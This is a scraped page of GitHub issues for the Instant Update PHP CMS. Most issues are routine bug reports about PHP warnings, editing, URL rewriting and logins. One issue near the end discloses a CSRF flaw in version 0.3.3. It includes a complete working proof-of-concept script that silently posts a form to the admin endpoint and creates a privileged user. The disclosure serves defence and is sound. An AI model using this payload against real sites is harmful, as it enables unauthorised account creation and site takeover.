Code Monkey home page Code Monkey logo

cms's People

Contributors

avramovic avatar hazzeland avatar ijjk avatar lukamacun avatar sebastienfi avatar webinsane avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cms's Issues

Jekyll

I've managed to get this to work with statically generated files from Jekyll, and it's awesome especially the inline editing stuff to boot.

You interested? I could do a pull request.

One thing that I have been bothered and trying to fix is all the index.php that keep appearing. Might have something to do with Jekyll being in a sub directory. I'll figure it out :-) Thanks for making this man!

Toggle Edit Bug

Ok some of my comments have been over misconfiguration on my part, but here is a real issue I may have found.

When toggle edits, things are fine, edits are made. But when I go to stop editing, and toggle the editor off, nothing happens, and the debug console shows an error everytime I click it:

Uncaught The editor instance "my-editable-id" is already attached to the provided element.

So what now? How to fix this problem I wonder?

URL Rewriting and Live Editing

I enabled mod rewrite. I log in, click on live edit.

It takes me to index.php, I can edit. Great.

I navigate to another page on the site. Since I have rewriting enabled, it takes me to /pagename.html, and the editing controls are gone.

If I type index.php/pagename.html I can edit.

My html and template files are in the root directory, is this correct?

How to make it so I can navigate the site and live edit at the same time again?

Thanks,
David

Live edit sidebar is nonexistent

For some reason, I'm not getting the sidebar with the edit controls. I followed all the documentation. Is there something I'm missing?

version

I have installed Instant Update 0.2.2 Instant Update 0.2.2 but installed.txt shows 0.2.1

and getting Fettle Error
untitled-1

on index.php/administration/users/edit/1 page

Absolute link fix when rewriting enabled

So if you have rewriting enabled, and your site has any absolute links like this:
a href="/services/location.html"
and your at /services/location.html and you click the link, the link becomes
/services//services/location.html
How to fix this?

Cant login after install

Tells me I have wrong username and password but I know its right. Debug console shows lots of errors, one of which is broken link to jquery ui. There is a get template directory php line before an external link in the auth_login php file.

Demo is broken

After logging in and attempting inline edit, error appears in console

 Uncaught ReferenceError: IU_USER_PERMISSIONS is not defined
    at HTMLDocument.<anonymous> (?g=user-js:33)
    at l (jquery.js:2)
    at Object.fireWith [as resolveWith] (jquery.js:2)
    at Function.ready (jquery.js:2)
    at HTMLDocument.A (jquery.js:2)

jquery is not hard linked in admin

Hey crew, theres a broken link here: auth_login.php

<script type="text/javascript" src="base_url(); ?>http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js"></script>

should be:

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js"></script>

SVG's no worky worky!

As soon as I plug my template into IU, no SVG's will load. I have to convert all SVG's to PNG's and load those if I want to use Instant Update.... Wuts up with that yo? How do we fix fixy!

php version issue

Hi mates :)

with all php versions newer as vs. php 5.4 the iu-application/controllers/process.php at line 165, 166 generates the following errors:

A PHP Error was encountered
Severity: 8192
Message: Non-static method BrowserOS::get_os() should not be called statically, assuming $this from incompatible context
Filename: controllers/process.php
Line Number: 166

A PHP Error was encountered
Severity: 8192
Message: Non-static method BrowserOS::get_browser_no_version() should not be called statically, assuming $this from incompatible context
Filename: controllers/process.php
Line Number: 167

Hope You can solv it ;)

Kind regards from Germany and huge thanks for the awesome IU-CMS.

Andy

Confirmation email from forums is not received - email settings?

Hello! I just found your project and think it's very good!

I tried to register to the forums at http://my.instant-update.com/, however the confirmation email is never received.

I using gmail and wondering could your email server be blacklisted? (I recently had similar issue with another service)

  • My email address is correct
  • It's not in spam folder. (Or any other folder)
  • Other email is received normally
  • Waited, since yesterday
  • Tried resending confirmation email a couple of times
  • Similar issue with another unrelated service which was solved my changing email address to another that forwards to my gmail.

Maybe you should check that mails are sent normally? Mail configuration?

The gmail I was using is: e. . . . . . . . [email protected]

Problem with HTML comments once loaded through Instant Update

If you have an html comment, preceding a '<' with no space, it does not render the beginning '<' of the next element, so the html code is rendered as text. Example:

I have the following html:
<h1>Hello world</h1>
Every thing is fine. Now I have a comment preceding it:
<!--comment--><h1>Hello world</h1>
the browser renders this:
h1>Hello world</h1>
Loaded as static html, the browser renders it fine, so there is clearly an issue with there not being white space after a comment that makes the first character after a comment disappear. How can we fix this, as the agency I work for uses dreamweaver templates that force comments right before elements for library items.

Some strange errors within input.php and process.php

First error:

A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at /var/www/web917/html/webcrew/iu-system/core/Exceptions.php:170)

Filename: core/Input.php

Line Number: 250

Next Error:

HP Error was encountered

Severity: 8192

Message: Non-static method BrowserOS::get_browser_no_version() should not be called statically, assuming $this from incompatible context

Filename: controllers/process.php

Line Number: 167

Last Error:

Severity: 8192
Message: Non-static method BrowserOS::get_os() should not be called statically, assuming $this from incompatible context

Filename: controllers/process.php

Line Number: 166

I hope You can fix it and find a solution for it. I`m using a shared hosting with php 5.6

Kind regards, Andy

MySQL DB loader

I've noticed that some things like the mysql_escape_string has been deprecated from 5.3 and therefore causes errors.

I've made a patch if you want to peer review it. I think that part of making sure data injection is good could be improved on which I may do later today. I'll submit now.

CSRF vulnerability in V0.3.3

I found the V0.3.3 has a CSRF vulnerability can operate on a web site.
When I set $config['csrf_protection'] = TRUE; in iu-application/config/config.php
5

For example add a user:
Payload:

<script>history.pushState('', '', '/')</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/192.168.10.12\/index.php\/administration\/users\/save", true); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=--------1590586755"); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.9"); xhr.withCredentials = true; var body = "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"name\"\r\n" + "\r\n" + "zhangsan2\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"email\"\r\n" + "\r\n" + "[email protected]\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"userrole_id\"\r\n" + "\r\n" + "\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"password\"\r\n" + "\r\n" + "123456\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"password2\"\r\n" + "\r\n" + "123456\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"active\"\r\n" + "\r\n" + "true\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"picture\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"permissions[]\"\r\n" + "\r\n" + "2\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"permissions[]\"\r\n" + "\r\n" + "4\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"permissions[]\"\r\n" + "\r\n" + "5\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"permissions[]\"\r\n" + "\r\n" + "6\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"permissions[]\"\r\n" + "\r\n" + "7\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"permissions[]\"\r\n" + "\r\n" + "8\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"permissions[]\"\r\n" + "\r\n" + "10\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"permissions[]\"\r\n" + "\r\n" + "11\r\n" + "----------1590586755\r\n" + "Content-Disposition: form-data; name=\"permissions[]\"\r\n" + "\r\n" + "12\r\n" + "----------1590586755--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script>

result:
4

the csrf vulnerability in V0.3.3 can do anything,just like upload file,add user,mkdir,chang password and so on

Advise:
1, determine the current user identity through token or session.
2, sensitive operation needs to verify code, change password need to verify the old password. (unable to construct when constructing PoC. If you know your password, go directly to the background, why use CSRF)

I hope you can fix this vulnerability
author:[email protected]

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.